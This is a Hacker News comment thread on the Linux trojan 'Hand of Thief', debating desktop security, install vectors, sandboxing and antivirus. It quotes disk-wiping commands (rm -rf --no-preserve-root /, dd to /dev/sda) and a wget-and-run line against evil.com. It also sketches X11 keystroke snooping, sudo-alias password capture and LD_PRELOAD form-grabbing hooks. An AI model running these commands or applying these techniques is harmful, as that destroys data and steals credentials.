Linux Trojan “Hand of Thief” | Hacker News Reader

Linux Trojan “Hand of Thief”

blog.avast.com

76 points16s61 comments

> The Linux operating system is designed to have high level of security. However, this year a few attempts to attack Web servers by backdoors redirecting traffic or malicious apache modules have been discovered. The aim of this Trojan is to compromise user desktop systems. With features designed to abuse sensitive browser information, it could advance Linux users a step forward in this specific environment. The same threatening environment in which Windows users have existed for years. The statement that the Linux platform is absolutely secure now seems even more illusive.

Once you have the ability to run code on a system (as someone dropping this trojan would), all bets are off. This has nothing to do with "security" and it's quite misleading to say that it does. I'm no fan of Linux from a security perspective, but this story has no impact on the security posture of a Linux system, period.

Bets aren't off. Look at what Chrome, NaCL does, or how iOS and Symbian (yeah) and Android (eh Linux there actually) isolate.

Privilege escalation bugs are getting rarer.

If Ubuntu put the browser in a LXC etc things could move forward.

Bets not off! We should carry on trying!

Even in these cases, they're still allowing full access to that sandbox. This trojan doesn't escalate -- it doesn't need to. It just has to drop other payloads, which could be done on any system without hard code signing requirements.

Please correct me if I am wrong, but I think all the OS's that you referred run apps on sandboxes with strong limitations on the file system access. If that is the case then the compromises might not worth it on desktops

Why should code downloaded in the browser context read your CD drive? Seperation is good. Even cut paste can go via a trusted intemediary.

If I'm not mistaken, Ubuntu ships Firefox with an AppArmor profile that restricts it by default.

(Question for those in the know: what exactly does it prevent firefox from doing?)

Yes it does. But I want defense in depth: I want it contained, I want OpenBSD-style randomisations and so on.

Why couldn't the browser run itself in a VM instead of relying on the OS to do it? There's some file size overhead, sure, but it seems like a custom VM would be the best way to ensure maximum compatibility, and avoids the potential for a tangle of mutual workarounds.

Or we could say: security is a practice.

Usually the design of an O.S. has certain weight, but not half of the weight that the operators (and users) have.

A keylogger for linux takes less than 30 lines of C... a payload for a root shell takes less... but to certify that they will work on every Linux out there... is more hard... it's hard even with constructive software, it shouldn't be less hard with malware.

The concept of malware may vary too much from one person to other, from one company to other, from one project to other.

It's not always a trojan, and software is a changing scenario. And it's not isolated, it's an ecosystem.

First viruses did travel on floppy disks. Nowadays they use websockets, sql, or render themselves as a (web) image or font.

Even the low latency 8.8.8.8 DNS, maybe considered malware if we go philosophical.

Internet, as the real world, is something wonderful. And as the real world, may turn hostile. So even if wonderful, each one should take care on what to trust, and what not, and how.

Update: remove all "quoting" as I was told once that I use them too much.

>I'm no fan of Linux from a security perspective

What OS's are you a fan of from a security perspective?

IBM RS/6000

No offense, but I'd rather hear from a noted security expert than an adman.

So first question came to mind: how do it inject code to processes? You need something for that: working exploit, CAP_SYS_PTRACE capability, you name it. Googling reveals just bunch of stupid articles that don't mention what you need to “install” that trojan.

According to http://www.techrepublic.com/blog/linux-and-open-source/hand-...

  The good news is that Hand of Thief must have the root
  (or sudo) password in order to install.

So how would it be? “Yow, just add this line to sources.list and run apt-get cool-hd-wallpapers-2013”?

Hello there. I'm the unix virus. Please sudo run me.

Think about how much software is blindly cloned from Github and executed by the unaware without so much as a look at the source. That's only one vector.

Yeah but none of the software I blindly download from any source gets run as root.

I would argue that you're one of few in that case.... Many people download software(oftentimes from shiesty sources) and run as root... There are countless walk-throughs and tutorials that have 'sudo' in them.

Can't guarantee that, can you? Say you run it as non-root and it sits there waiting for 'sudo * \n' and captures whatever you type after. Your non-root software could then execute itself with sudo using the password that it's captured.

Don't you need root to read keystrokes not being sent to you?

I think what he is trying to say is that it could just emulate the terminal and read whatever is coming to it after it's executed. "Listening" for when the user types in sudo...

The easier way would likely be to add a "sudo" script somewhere in $PATH, ideally before /usr/bin – incidentally, this gets much easier on a development machine where people have a ruby path, a perl path, a python path and their own $HOME/bin.

Not under X11. See `xev -id $WINDOW_ID` for a demonstration.

There's the XACE (X11 Access Control Extension) that tries to make it harder to snoop, but I don't believe that it's enabled by default in most distributions.

I tried this, I started gedit then xwininfo to get the window id then xev -id and then started typing in gedit. I saw event information but didn't see what characters were being typed so what's the point you're trying to make?

I do see what characters are getting typed when I do the same thing. For example:

    KeyPress event, serial 28, synthetic NO, window 0x2000003,
        root 0x2b7, subw 0x0, time 322414662, (225,283), root:(1057,269),
        state 0x0, keycode 26 (keysym 0x65, e), same_screen YES,
        XLookupString gives 1 bytes: (65) "e"
        XmbLookupString gives 1 bytes: (65) "e"
        XFilterEvent returns: False

I barely see half that information so something's different about how we're doing it. I'm Ubuntu 12.04 btw.

Do you see all the information when you let xev make its own window rather than look at a different window?

It's even easier. You can alias sudo and grab the password that way.

That's good, but http://xkcd.com/1200/ is very relevant here.

Writing a keylogger for X Window is just a few lines of shell script, assuming `xinput` is installed. X Window system just was not designed for running complex graphical environments, I suppose, and security inside it is quite weak (it does not protect root sessions in xterm in any way although xterm was one of the first X programs). Yes, `gksu`/`kdesudo` alleviate the situation (protecting passwords from being grabbed), but that's not a solution.

E.g. it's easy to write a script that detects user's inactivity for some period and if a root session is here in the same X session, it just sends there any text. That's why I avoid sudo'ing in graphical environment and I always set 'targetpw' in /etc/sudoers to enable separate root account on Debian/Ubuntu.

> The statement that the Linux platform is absolutely secure now seems even more illusive.

What now? When did anyone ever claim Linux was "absolutely secure"? Second, how is an attack that depends on the user installing malicious software evidence of a security lapse in the system itself? If you're just going to run anything I tell you to run, I'll give you:

sudo rm -rf /

I am not an expert on linux, but I always assumed there are less malware first because much more people are using windows - target audience much bigger, second - malware creators wouldn't want to create viruses for the systems they use.

> wouldn't want to create viruses for the systems they use

I can guarantee you that most malware authors run Windows. It's terribly difficult to cross compile software on a *NIX for a Windows environment, and even more difficult to test and debug said software if you don't have a runtime for the given executable.

Linux hasn't ever been a major malware target (in the Windows sense of malware) because the consumer install base for a desktop system has always been extremely low. That said, look at how many times a Linux web server gets compromised through the application it's running (RCE, SQLi, etc), and the possible value of the data lost through those methods and you'll see that there isn't a need for researching exploits and developing malware for those targets, as we the web application developers, design those exploits for them.

Linux certainly is not immune to malware in general or even `viruses` in particular, but a virus isn't a very effective means of attacking "Linux." While it's usually used as a catch all for any malware, a virus is a specific type of malware. It needs to be able to infect a machine then spread. Most Linux installations use a security model that requires an administrative (root or sudo) password to install software. The biggest challenge that virus authors have when targeting "Linux" is the wide range of distros.

When you target Windoze you can write a .exe file and convince your victim to execute it. What type of file would you use to attack Linux users? If they use RPM, you could use a .RPM file. If they use Debian or Ubuntu, you could provide a .deb file. If you are attempting to send your virus to every email address in the victim's address book, you would need to know the package manager of the victim before deciding which attack package to distribute. Certainly, you could distribute the package as a script which determines the OS then grabs the appropriate package from a repository and installs it, but then you're exposing a lot of information about your attack to every victim. Eventually someone catches it.

So no Linux is not immune to viruses, but it's more the platform than the audience that prevents these attacks. When you want to attack Linux users, use a rootkit instead. Actually... please don't attack Linux users, there are enough Windoze users out there, and you shouldn't attack them either... because... ethics

That is actually a completly safe command to run (although I would not recomend it). rm by defualt does not allow you to delete '/'. To override this, you want

sudo rm -rf --no-preserve-root /

Regardless, everyone knows that sudo rm -rf / is a bad idea, try using something more cryptic. I reccomend:

sudo dd if=/dev/zero of=/dev/sda

For those of you thinking "but surely sda is mounted, Linux won't let you write to it", wrong. I just tested this on my machine (using a specially made loop-back device). You can write directly to a mounted device. For those curius, after zero'ing out the device, attempting to 'ls' in the mounted directory resulted in either ls printing "killed" and terminating instantly, or hanging and refusing to respond to ^C.

I read the article twice, but failed to find the attack vector. How would you get infected by this, short of running it yourself manually?

It's a trojan, not a worm

http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Computer_worm

That should be obvious from reading the linked article, and I think someone asking for the attack vector would know this as well. It is a valid question, we know that people are tricked into installing the trojan but every article about this so far has been light on details as to how they are tricked. A browser exploit, malicious software repository, no confirmation on anything so far.

The articles call it a "Trojan", so I expect they trick people into installing it.

It tricks users who blindly cut+paste console commands.

Yet another reason why command line literacy is important, even with "polished" distros. (Particularly if those polished distros have a habit of removing GUI configuration in the name of "simplification", pushing users to forums to find fixes that they can paste into their terminal...)

Even command line literate people can fall victim to copy and paste exploits. If you are copying from a non-trusted website, you might be tempted to read the code that you are copying, decide that it is safe, and copy it. The problem is that with HTML, it is possible that the website could make you copy something in addition to what you actually see, and therefore still be able to execute arbitrary code even though you 'audited' it before hand.

I suspect that most people who can find the console will notice what's going on with a session like this:

    $ wget evil.com/trojan
    $ chmod +x trojan
    $ ./trojan

Maybe it's more likely to hit those who double-click unwisely?

Not neccessarily: http://thejh.net/misc/website-terminal-copy-paste

Remember that a year or two ago all of the public instructions for installing nodejs were of the form.

    sudo wget http://example.com/node/install.sh | sh

so it's not like it's only newbies who blindly run scripts as root.

Similar to how Meteor is installed: curl https://install.meteor.com | /bin/sh

After downloading it asks for your password.

Afaict this does not include any sort of remote exploit of linux, so it would probably rely on social engineering or something similiar. Have a look at the earlier discussion at HN: https://news.ycombinator.com/item?id=6185932

Same way as the larger part of other operating systems get infected.

You trick people to install/run something. Mail with attachments, perhaps there's a vulnerability in a pdf reader, openoffice, some media player to exploit perhaps the user will actually run that executable you sent. Download links with added malware. Drop a custom usb key and exploit the USB stack.

"The known version of Hanthie is starting processes using a fake Kernel process in user-space called [flush-8:0] and starting from the init process instead of the kernel process. So the current detection can be performed from user-space with the following script:

        if [[ $(ps -eaf|grep "\[flush" | tr -s " "  |cut -d" " -f 3|grep ^1$) ]];   then echo "Infection suspected";   else echo "No infection suspected"; fi

from https://www.circl.lu/pub/tr-15/

Can anyone explain how the form grabbing for Chrome works? For a code base as large as Chrome's, how would one go about finding the function(s) involved with sending POST data? There was a thread on HN about a month ago about Hand of Thief which sparked my curiosity. I was able to write a crude form grabber for Firefox, but couldn't figure out how to do it for Chrome.

For Firefox, I know about PR_Write (There's some information for how to form grab Firefox under Windows which I found applicable). Since PR_Write function is in a shared library, you can use LD_PRELOAD to get Firefox to call your custom form-grabbing PR_Write, which can then call the original one.

Not trying to do anything malicious - just genuinely curious.

This applies if the function you are looking for is not easily accessible, i.e. not an exported symbol in some shared library.

You find the function you are interested in in Chromes code base, then look for it in the compiled binary or library its located in (with debug symbols, usually). You build a pattern from the functions code bytes. You then inject your evil library into the target process (also through LD_PRELOAD, but there are tons of ways) and have it search in the process memory for the function from the bytes you acquired previously. You temporarily change the page protections and overwrite the first few bytes of the target function to instead jump directly into your code.

You have to be careful with calling conventions or you will corrupt the stack, and often you want to preserve the original bytes of the function such that you can call into it from your replacement function.

This is what is called a hook, or a detour. Microsoft even has a library for this that does all of the previous in a neat package (http://research.microsoft.com/en-us/projects/detours/), but the basic redirection is very simple.

>Immediately after start, the Trojan checks if it does not run in a virtualized environment

What would be the performance implications of running everything under a virtual machine on a very light host OS? The idea had not previously occurred to me, but it seems like there would be a ton of advantages to that, including increased security.

I know that some compatibility issues will vary depending on VM software, but from a pure performance perspective, what kind of loss are we looking at?

These days, not much, 5-10%. Most VMs "cheat" and are effectively paravirtualized (e.g. using guest additions that talk to the hypervisor directly).

I played some with VirtualBox and an Ubuntu install, and it looks like the graphics support really isn't there yet (WebGL didn't work at all, for example), but I might give it another shot with a non-free alternative at some point.

So as it seems "commercial" malware is coming to the linux desktop: Are there already any good, free anti virus programs for linux?

I had a quick look at http://www.clamav.net/ but it seems to target mainly windows stuff attached to mails and from some comments on the net isn't that reliable at detecting known malicous stuff ...

I haven't looked in awhile, but ClamAV actually did very well in some third party virus tests. You shouldn't need a Linux specific product. Good AV systems detect viruses for multiple platforms irregardless of the host performing the scan. It's actually really hard to gauge AV effectiveness, so take those published tests with some healthy skepticism. ClamAV detects Linux and Windows viruses, but does not include an on access scanner. It's usually fired off manually or hooked via other programs (spam scanners).

There is however, a fuse FS ClamFS http://clamfs.sourceforge.net/ that provides on access scanning for Linux with ClamAV. I have no idea how much overhead that incurs, but it probably isn't a small amount. A lot of enterprise offerings provide on access scanning (McAfee, F-Prot, Kaspersky, and more).

I'd imagine there are Firefox and Chrome add ons as well.

You want maldet[1], it uses clamscan.

[1] - http://www.rfxn.com/projects/linux-malware-detect/

I sometimes get Windows virus attachments in emails, when clam doesn't identify them as a virus, usually avg can. I'd hope it can catch Linux viruses and trojans too.

TIL: create a scsi device named after the pattern virtual box uses and be immune to all trojans.

The article states "we observed an anti-monitoring check (no communication if wireshark or tcpdump is running)". Does anyone how how resistant it would be to logging of outbound connections with iptables?

How do we detect it's presence ?

Not entirely sure about detection, but it seems like you could just add some "fake" indicators to your distro to make it look like it's a VM instance and the trojan will helpfully delete itself.

Much ado about nothing.

Reply on news.ycombinator.com